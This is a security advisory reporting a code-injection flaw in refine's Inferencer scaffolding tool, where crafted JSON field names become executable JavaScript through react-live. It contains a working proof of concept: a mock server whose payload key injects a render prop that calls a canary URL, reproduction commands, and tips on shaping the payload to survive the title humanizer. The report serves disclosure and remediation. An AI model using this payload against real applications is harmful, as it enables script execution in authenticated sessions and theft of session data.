Arbitrary code execution in @refinedev/inferencer via unescaped API field names reaching react-live
Describe the bug
reported on 6 July 2026 via https://github.com/refinedev/refine/security/advisories/GHSA-r9jx-g8gh-4v7g
Summary
@refinedev/inferencer is refine's scaffolding tool: point it at a resource and it fetches a sample record from the configured data provider, infers a List/Show/Edit/Create component from the record's own field names, and live-renders that generated component in the browser using react-live (Babel + runtime eval). The code generator builds JSX/JS source strings by interpolating each field's raw object key directly into string templates without any escaping. Because the field keys come straight from Object.keys() of a record returned by the API the developer pointed Inferencer at, a data source that controls the shape of its JSON response (a compromised, malicious, or simply attacker-influenced backend/API) can smuggle a JSON property name that breaks out of the generated JSX attribute and injects an arbitrary new prop containing executable JavaScript. That JavaScript is then compiled and run in the browser by react-live as soon as the Inferencer page renders, with no click and no confirmation needed beyond opening the page.
Details
The record used to infer fields comes straight from the wired-up data provider (packages/inferencer/src/create-inferencer/index.tsx):
const inferSingleRecord = (record: Record<string, unknown>) => {
const inferred = Object.keys(record) // <-- attacker controls these keys
.map((key) => {
const value = record[key];
const inferResult = inferSingleField(key, value, record);
return inferResult;
})textInfer (packages/inferencer/src/field-inferencers/text.ts) accepts any string-valued field regardless of what characters are in its key:
export const textInfer: FieldInferencer = (key, value) => {
const isText = typeof value === "string";
if (isText) {
return { key, type: "text" };
}
return false;
};Every UI-framework renderer then interpolates field.key raw into the generated source. For the antd list renderer (packages/inferencer/src/inferencers/antd/list.tsx:459-464):
const basicFields = (field: InferField) => {
if (field && (field.type === "text" || field.type === "number")) {
const dataIndex =
field.accessor && !Array.isArray(field.accessor) && !field.multiple
? `dataIndex={["${field.key}", "${field.accessor}"]}`
: `dataIndex="${field.key}"`; // <-- no escaping of field.key
...
return `<Table.Column ${dataIndex} ${title} ${render} />`;
}If field.key contains a ", the generated attribute string is no longer bounded: anything after the quote becomes new, arbitrary JSX content on the same tag, including a brand-new render={...} prop. The identical unescaped pattern (dataIndex="${field.key}", accessorKey: "${field.key}", field: "${field.key}", id: "${field.key}", name="${field.key}", ${record?.${field.key}}) exists in every sibling renderer: packages/inferencer/src/inferencers/{antd,mui,mantine,chakra-ui,headless}/{list,show,edit,create}.tsx, and in the shared helper packages/inferencer/src/utilities/accessor/index.ts:11-18:
function accessorSingle(variableName: string, key?: string, accessor?: string) {
let base = `${variableName}`;
if (key) {
base += "?.";
if (shouldDotAccess(key)) {
base += key;
} else {
base += `['${key}']`; // <-- raw key inside single quotes, no escaping
}
}
...The generated source string is then handed to react-live for actual execution (packages/inferencer/src/components/live/index.tsx):
return (
<LiveProvider code={sanitized} scope={scope} noInline>
{!fetchError && <LivePreview />}
<ErrorComponentWithError />
</LiveProvider>
);react-live's LiveProvider transpiles code with Babel and executes it via a runtime new Function-style evaluator, so any JavaScript that parses correctly inside that string runs with the same privileges as the rest of the page (same origin, same cookies/localStorage, same authenticated session if Inferencer is mounted inside an already-logged-in admin app).
One wrinkle worth documenting for anyone reproducing this: the same raw field.key is also fed through packages/inferencer/src/utilities/pretty-string/index.ts to build the human-readable column title= attribute on the very same tag:
export const prettyString = (str: string) => {
const clean = removeRelationSuffix(str);
const camelCase = clean.replace(/([a-z])([A-Z])/g, "$1 $2");
const snakeCase = camelCase.replace(/_/g, " ");
const kebabCase = snakeCase.replace(/-/g, " ");
return kebabCase.split(" ").map((w) => w.charAt(0).toUpperCase() + w.slice(1)).join(" ");
};This humanizer inserts a space at every lowercase-to-uppercase boundary and turns -/_ into spaces. A payload containing a camelCase identifier (e.g. encodeURIComponent) gets split into two bare identifiers with nothing between them in this second, humanized copy, which is a JavaScript syntax error and aborts the whole compile. Sticking to single-word, no-camelCase identifiers and the comma operator (instead of return) keeps this second, humanized copy merely inert (parses fine, does nothing useful) while the unmodified, verbatim render={...} prop executes exactly as authored.
Steps To Reproduce
PoC
Environment: a from-scratch Vite app importing the unmodified, published packages @refinedev/[email protected], @refinedev/[email protected], @refinedev/[email protected], @refinedev/[email protected], plus [email protected] (peer dep), against a minimal Express mock backend playing the role of the API a developer is scaffolding against.
server.cjs (mock backend, GET /posts):
const PAYLOAD_KEY =
'title" render={() => (fetch("http://127.0.0.1:4001/canary?c=1"), document.title = "pwned", null)} y="';
app.get("/posts", (req, res) => {
res.json([{ id: 1, [PAYLOAD_KEY]: "hello world", body: "just a normal looking post" }]);
});
app.get("/canary", (req, res) => {
console.log("[CANARY HIT]", new Date().toISOString());
res.json({ ok: true });
});src/main.tsx (the app a developer would actually write while scaffolding a CRUD screen):
import { Refine } from "@refinedev/core";
import dataProvider from "@refinedev/simple-rest";
import { AntdListInferencer as ListInferencer } from "@refinedev/inferencer/antd";
ReactDOM.createRoot(document.getElementById("root")!).render(
<BrowserRouter>
<Refine dataProvider={dataProvider("http://localhost:4001")}
resources={[{ name: "posts", list: "/posts" }]}>
<Routes>
<Route path="/posts" element={<ListInferencer resource="posts" />} />
</Routes>
</Refine>
</BrowserRouter>,
);Reproduction:
$ node server.cjs &
$ npx vite --port 5173 --host 127.0.0.1 &
$ python3 - <<'EOF'
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch()
page = browser.new_page()
page.goto("http://127.0.0.1:5173/posts", wait_until="networkidle")
print(page.title())
EOFObserved (mock backend log):
mock backend on http://localhost:4001
[CANARY HIT] { at: '2026-07-06T07:12:43.968Z', cookie: '1' }
[CANARY HIT] { at: '2026-07-06T07:12:43.984Z', cookie: '1' }Observed (Playwright, browser side):
document.title after render: 'pwned'
canary status after load: {'canaryHit': {'at': '2026-07-06T07:12:43.984Z', 'cookie': '1'}}Both the server-side callback log and the client-side document.title mutation confirm the injected fetch(...) and document.title = "pwned" statements executed inside the page, purely as a result of one crafted JSON object key returned by the "backend": no click, no confirmation dialog, no developer action beyond having the List Inferencer page open (which is the tool's entire purpose).
Expected behavior
Impact
Anyone using @refinedev/inferencer (via ListInferencer/ShowInferencer/EditInferencer/CreateInferencer/*Inferencer for any of the antd, mui, mantine, chakra-ui or headless integrations) to scaffold a CRUD screen against a data source that isn't fully trusted, such as a third-party API, a staging backend, a multi-tenant service where other tenants influence field/column names, or simply a compromised upstream service, gets arbitrary JavaScript executed in their browser, in the same origin and session as the rest of the application. That JS can read cookies/localStorage, replay authenticated requests, or pivot further using whatever the current session can reach. Inferencer surfaces its own "not intended to be used in production" banner, which correctly scopes the primary victim to the developer/operator running the scaffolding tool rather than end users of a finished app. Even so, this remains a code execution primitive triggered purely by the shape of API response data, against a person actively integrating refine with an API, which is exactly the workflow Inferencer is built for.
Packages
Additional Context
No response
Source: refinedev/refine